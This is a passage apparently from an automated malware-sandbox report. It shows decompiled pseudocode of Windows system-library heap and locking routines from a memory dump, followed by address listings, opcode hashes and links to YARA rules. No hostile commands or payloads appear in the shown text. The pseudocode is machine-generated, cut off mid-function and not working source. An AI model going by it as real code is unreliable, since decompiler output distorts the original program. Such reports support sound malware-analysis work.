								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E1E3C2EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E1E3958EC(_t240);
									_t221 =  *0x1e485cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1e485cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E1E3D4A2C(0x1e486e40, 0x1e3d4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E1E3B7D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1e375c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E1E3CF6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E1E3CF6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E1E417016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L1E3B2400(_t267 + 0x20);
															}
															L1E3B2400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E1E3C2397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E1E3B2280(_t134, 0x1e488608);
									__eflags =  *0x1e486e48 - _t253; // 0x850f20
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E1E3AFFB0(_t198, _t241, 0x1e488608);
										__eflags = _t253;
										if(_t253 != 0) {
											L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1e486e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1e488608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E1E3C6B90(_t210,  &_v64);
										_t262 =  *0x1e488608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E1E3CE180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E1E3D97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E1E3D006A(0x1e488608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1e488608);
												E1E3DB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1e486904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1e486e48; // 0x850f20
							_v72 = _t229;
							if(_t229 == 0) {
								L45:
								E1E3AFFB0(_t198, _t240, 0x1e488608);
								_t253 = _v76;
								goto L29;
							}
							if( *((char*)(_t229 + 0x40)) != 0) {
								L13:
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E1E3D00C2(0x1e488608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
							_t18 = _t229 + 0x38; // 0x8
							if( *_t18 !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								goto L45;
							}
							goto L13;
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x1e3c20a0
0x1e3c20a8
0x1e3c20ad
0x1e3c20b3
0x1e3c20b8
0x1e3c20c2
0x1e3c20c7
0x1e3c20cb
0x1e3c20d2
0x1e3c2263
0x1e3c2266
0x1e405836
0x1e405836
0x00000000
0x1e3c226c
0x1e3c226c
0x1e3c2270
0x1e3c2274
0x1e3c20e2
0x1e3c20e2
0x1e3c20e6
0x1e3c20ee
0x1e4057dc
0x1e4057de
0x1e4057ec
0x1e4057ec
0x1e4057f1
0x1e4057f3
0x1e4057f8
0x00000000
0x1e4057f8
0x1e4057e0
0x1e4057e4
0x1e4057ea
0x00000000
0x00000000
0x00000000
0x1e4057ea
0x1e3c20f4
0x1e3c20f4
0x1e3c20f8
0x1e3c20f8
0x1e3c20fc
0x1e3c2100
0x1e3c2106
0x1e3c2201
0x1e3c2206
0x1e3c220b
0x1e3c220e
0x1e3c22a9
0x1e3c22ac
0x00000000
0x00000000
0x1e3c22b2
0x1e3c22b5
0x1e405801
0x1e405806
0x00000000
0x00000000
0x1e405810
0x1e405815
0x1e405818
0x00000000
0x00000000
0x1e40581e
0x1e3c22bb
0x1e3c22bb
0x1e3c2218
0x1e3c2218
0x1e3c221c
0x1e3c2220
0x1e3c2222
0x1e3c22c2
0x1e3c22c4
0x1e3c22dc
0x1e3c22dc
0x1e3c22e1
0x00000000
0x00000000
0x00000000
0x1e3c22e7
0x1e3c22c8
0x1e3c22cd
0x1e3c22d3
0x1e3c22d6
0x1e405823
0x1e405825
0x1e405827
0x00000000
0x00000000
0x1e40582d
0x00000000
0x1e40582d
0x00000000
0x1e3c2228
0x1e3c2228
0x00000000
0x1e3c2228
0x1e3c2222
0x1e3c2214
0x1e3c2214
0x00000000
0x1e3c2114
0x1e3c2114
0x1e3c2114
0x1e3c211a
0x1e3c211c
0x1e3c2348
0x1e3c234d
0x1e405840
0x1e405845
0x1e405848
0x1e40584e
0x1e40584e
0x1e405848
0x1e3c2353
0x1e3c2355
0x1e3c2388
0x1e3c2388
0x1e3c2368
0x1e3c236a
0x1e3c236c
0x1e3c238f
0x00000000
0x1e3c236e
0x1e3c236e
0x1e3c218e
0x1e3c218e
0x1e3c2191
0x1e3c2195
0x1e405a03
0x1e405a06
0x1e405a0c
0x1e405a0f
0x1e405a11
0x1e405a13
0x1e405a13
0x1e405a19
0x1e405a1f
0x00000000
0x1e3c219b
0x1e3c219b
0x1e3c21a0
0x1e3c2282
0x1e3c2284
0x1e3c2284
0x1e3c2284
0x1e3c2284
0x1e3c21a6
0x1e3c21a9
0x1e3c21ac
0x1e3c21ae
0x1e3c21b3
0x1e3c228b
0x1e3c2290
0x1e3c2379
0x1e3c2296
0x1e3c2298
0x1e3c2298
0x1e3c2290
0x1e3c21b9
0x1e3c21be
0x1e3c22a2
0x1e3c22a2
0x1e3c21c4
0x1e3c21c8
0x1e3c21cc
0x1e3c21d0
0x1e3c21d4
0x1e3c21de
0x1e3c21e3
0x1e405a29
0x1e405a2c
0x00000000
0x00000000
0x1e405a3b
0x00000000
0x1e3c21e9
0x1e3c21e9
0x1e3c21e9
0x1e3c21ee
0x1e3c21f1
0x1e405a45
0x1e405a4b
0x1e405a52
0x1e405a58
0x1e405a5d
0x1e405a5f
0x1e405a71
0x1e405a61
0x1e405a6a
0x1e405a6a
0x1e405a76
0x1e405a79
0x1e405a7f
0x1e405a83
0x1e405a85
0x1e405a87
0x1e405a87
0x1e405a8c
0x1e405a91
0x1e405a97
0x1e405a9f
0x1e405aa0
0x1e405aa1
0x1e405aa6
0x1e405aab
0x1e405ab1
0x1e405ab3
0x1e405ab9
0x1e405aca
0x1e405ad4
0x1e405ad4
0x1e405ade
0x1e405ade
0x1e405aab
0x1e405a79
0x1e405a52
0x1e3c21f7
0x1e3c21f9
0x1e3c21fe
0x1e3c21fe
0x1e3c21e3
0x1e3c2195
0x1e3c236c
0x1e3c2122
0x1e3c2122
0x1e3c2124
0x1e3c2231
0x1e3c2236
0x1e3c2236
0x1e3c2238
0x1e3c2238
0x1e3c2240
0x1e3c2242
0x1e3c2244
0x1e4059fc
0x1e3c218c
0x1e3c218c
0x00000000
0x1e3c218c
0x1e3c224a
0x1e3c224f
0x1e3c2256
0x1e3c2304
0x1e3c2309
0x1e3c230f
0x1e3c231e
0x1e3c231e
0x1e3c231e
0x1e3c2320
0x1e3c2325
0x1e3c232a
0x1e3c232c
0x1e3c233e
0x1e3c233e
0x00000000
0x1e3c232c
0x1e3c2311
0x1e3c2317
0x1e3c231a
0x1e3c231c
0x1e3c2380
0x1e3c2380
0x1e3c2380
0x1e3c2384
0x00000000
0x00000000
0x1e3c2386
0x00000000
0x1e3c231c
0x1e3c225c
0x1e3c225c
0x00000000
0x1e3c225c
0x1e3c212a
0x1e3c2134
0x1e3c2138
0x1e3c213d
0x1e405858
0x1e405863
0x1e405863
0x1e405867
0x1e40586a
0x00000000
0x00000000
0x1e40586c
0x1e40586c
0x1e405871
0x1e405875
0x1e405877
0x1e405997
0x1e40599c
0x1e4059a1
0x1e4059a7
0x1e4059a7
0x00000000
0x1e4059a7
0x1e40587d
0x00000000
0x1e40588b
0x1e40588b
0x1e405890
0x1e405892
0x1e405894
0x1e405899
0x1e40589b
0x1e4058a0
0x1e4058a0
0x1e4058aa
0x1e4058b2
0x1e4058b6
0x1e4058be
0x1e4058c6
0x1e4058c9
0x1e40590d
0x1e405917
0x1e40591a
0x1e40591c
0x1e405920
0x1e405928
0x1e40592a
0x1e40592c
0x1e40592e
0x1e40592e
0x1e4058cb
0x1e4058cd
0x1e4058d8
0x1e4058e0
0x1e4058f4
0x1e4058fe
0x1e4058fe
0x1e40593a
0x1e40593e
0x1e405940
0x1e405942
0x00000000
0x1e405944
0x1e405944
0x1e405949
0x1e40594e
0x1e40594e
0x1e405953
0x1e40595b
0x1e405976
0x1e405976
0x1e40597a
0x1e40597f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e405981
0x1e405981
0x1e405981
0x1e405983
0x1e405988
0x1e40598d
0x1e405991
0x1e405991
0x00000000
0x1e40595d
0x1e40595d
0x1e405963
0x1e405965
0x00000000
0x00000000
0x00000000
0x00000000
0x1e405967
0x1e405967
0x1e40596b
0x1e40596d
0x00000000
0x00000000
0x1e40596f
0x1e405971
0x1e405971
0x1e405974
0x00000000
0x00000000
0x00000000
0x1e405974
0x00000000
0x1e405967
0x1e40595b
0x1e405942
0x1e405863
0x1e3c2143
0x1e3c2143
0x1e3c2149
0x1e3c214f
0x1e3c22ec
0x1e3c22f1
0x1e3c22f6
0x00000000
0x1e3c22f6
0x1e3c2159
0x1e3c2173
0x1e3c2173
0x1e3c217d
0x1e3c2181
0x1e3c2186
0x1e4059ae
0x1e4059b2
0x1e4059b5
0x1e4059b7
0x1e4059ba
0x1e4059cd
0x1e4059d1
0x1e4059d5
0x1e4059d9
0x1e4059db
0x00000000
0x00000000
0x1e4059dd
0x1e4059dd
0x1e4059e1
0x1e4059e4
0x1e4059e7
0x1e4059ee
0x1e4059ee
0x1e4059f3
0x1e4059f3
0x00000000
0x1e3c2186
0x1e3c2164
0x1e3c216d
0x00000000
0x00000000
0x00000000
0x1e3c216d
0x1e3c2106
0x1e3c2266
0x1e3c20d8
0x1e3c20da
0x1e3c20e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2e380b3eeeb660f8e9b16b2151a03774fa89f679b03874081eba80a5cb2242
Instruction ID: 64162fd01814c87616b277e17c64014f421590c4a033c606f2675f2ddd4d4257
Opcode Fuzzy Hash: ef2e380b3eeeb660f8e9b16b2151a03774fa89f679b03874081eba80a5cb2242
Instruction Fuzzy Hash: 8CF1E531A087819FD721CB25D840B9A77E6EF85B14F048B2FE8999B380D739DC41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 005629FB, Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4043640c66a69fe454a87528cb29035662f8848a49ef75d1a43ea08d82de6ee3
Instruction ID: e8dea0c66a42cb9aab75193590018ca2371ff0ef21bdf48023cff8fc9dab51ae
Opcode Fuzzy Hash: 4043640c66a69fe454a87528cb29035662f8848a49ef75d1a43ea08d82de6ee3
Instruction Fuzzy Hash: 8BB198B0244706AFEF215E60CD89BE93F62FF5A354F644529FD859B2C1C7B988C89740

Uniqueness

Uniqueness Score: -1.00%

Function 00562993, Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1be62427d59f72e4c995854fadabe8c4cc76dc42e8f3ea09f79dbb76bb7c2b7f
Instruction ID: c3a5c46c6aea7abea9b819348190152b2f92c155cc15fc3716e34a5892991d0b
Opcode Fuzzy Hash: 1be62427d59f72e4c995854fadabe8c4cc76dc42e8f3ea09f79dbb76bb7c2b7f
Instruction Fuzzy Hash: 0AA168B024070AAFFF205E54CD89BE93E62FF5A354F604525FE46AB2C1C7B998C49741

Uniqueness

Uniqueness Score: -1.00%

Function 00562A7B, Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2a10ecad3b7d6c6d63fb1eedfdec07f0db71d5471de8897caf297b71d32ba3
Instruction ID: 7b26433aac57108a3e62edfcefebb8c354a114810d8b10a0a109c9ea29bff54a
Opcode Fuzzy Hash: ad2a10ecad3b7d6c6d63fb1eedfdec07f0db71d5471de8897caf297b71d32ba3
Instruction Fuzzy Hash: 5A9177B024070AAFEF205E64CC997E93F62FF5A354F644529FD86972C1C7B988C89B41

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E1E3A849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x1e46f9c0);
				E1E3ED0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x1e487b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E1E3ACEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E1E3B2280( *[fs:0x30], 0x1e488550);
						_t139 =  *0x1e487b04; // 0x7
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E1E3CF3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E1E3AFFB0(_t193, _t235, 0x1e488550);
								L5:
								return E1E3ED130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E1E391C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x1e487b9c; // 0x0
							_t235 = L1E3B4620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x1e487b10; // 0x10
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E1E3CA61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E1E3AFFB0(_t193, _t235, 0x1e488550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L1E3B77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L1E3B77F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x1e487b04; // 0x7
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x1e487b10; // 0x10
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E1E3D37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x1e487b9c; // 0x0
									_t214 = L1E3B4620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E1E3D37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x1e487b10 =  *0x1e487b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x1e487b04 =  *0x1e487b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L1E3B77F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L1E3B77F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x1e487b08 =  *0x1e487b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E1E3D57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E1E3DF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L1E3B77F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E1E3CA44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L1E3B77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E1E3D96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x1e3a849b
0x1e3a849b
0x1e3a849b
0x1e3a849b
0x1e3a849d
0x1e3a84a2
0x1e3a84a7
0x1e3a84b1
0x1e3a84d8
0x00000000
0x1e3a84b3
0x1e3a84c4
0x1e3a84c9
0x1e3a84cd
0x1e3a84cf
0x1e3a84cf
0x1e3a84d6
0x1e3a84e6
0x1e3a84e9
0x1e3a84ec
0x1e3a84ef
0x1e3a84f2
0x1e3a84f4
0x1e3a84fc
0x1e3a8501
0x1e3a8506
0x1e3a8509
0x1e3a86e0
0x1e3a86e5
0x1e3a86e8
0x1e3a86ed
0x1e3a86f0
0x1e3a86f2
